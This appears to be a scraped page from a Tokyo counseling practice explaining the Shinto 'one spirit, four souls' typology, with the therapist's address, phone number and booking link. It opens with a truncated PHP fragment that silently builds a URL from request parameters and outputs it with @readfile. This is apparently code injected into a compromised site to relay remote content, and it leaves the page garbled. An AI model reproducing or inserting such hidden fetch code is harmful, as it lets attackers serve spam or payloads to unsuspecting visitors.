$mai2i_v) { $mai2i_url .= '&' . $mai2i_p . '=' . urlencode($mai2i_v); } } @readfile($mai2i_url); unset($mai2i, $mai2i_url); ?>

まずは、「魂のタイプ」を知る事から

 一霊四魂

 古神道で言う一霊四魂は、荒魂(あらみたま=勇)、幸魂(さちみたま=愛)、和魂(にぎみたま=親)、奇魂(くしみたま=智)という4つの性質の異なる魂を一つの直霊(なほひ)が統率しているという考え方です。これは、奇しくも、現代心理学のパーソナル因子論や、孟子が説いた四徳という考え方にも一致します。四魂の特徴的な性質は、次のように要約する事が出来ます。それぞれのタイトルをクリックすると更に詳しい説明を見ることが出来ます。誰にでもこの4つとも働いているのですが、それらの中で、自分に最も強く働いている魂と、二番目に強く働いている魂が何かを振り返ってみましょう。

荒魂=勇 達成を求める
達成する、具現化する、行動を起こす、粘る

幸魂=愛 相愛を求める
いとおしむ、尽くす、育む、絆をつくる

和魂=親 平和を求める
調和する、秩序や和を保つ、公平、公正を重んじる

奇魂=智 真理を求める
分析する、洞察する、理論化する、美を追求する

  人間には、これらの内どの魂が強く働いているのかという傾向があります。生まれつき強いのは通常これらの内の一つですが、二次的に強化させた魂もあります。逆に、特定の魂の働きを抑圧している場合もあります。
 この四魂そのものの話は、 出口光先生の著書「人の心が手に取るように見えてくる」(中経出版)をお読みください。
あるいは、日本心理カウンセリング協会のウェブサイトを参考にされてください。
現在、私のカウンセリングでは、この四魂の話は必須なので、カウンセリングを希望される方は、できれば事前にお読みいただくことでカウンセリングは円滑に行なう事が出来ます。⇒続きクリック

※「四魂のセッション」は、スピリチュアル&心理カウンセリングに統合されました。

セラピスト紹介

154-0022東京都世田谷区梅丘1-15-12ツヅキビル2F

03−3425−3758

予約フォーム

小田急線梅ヶ丘徒歩約2分カルディ斜め前、古本のツヅキ堂の2F

HOME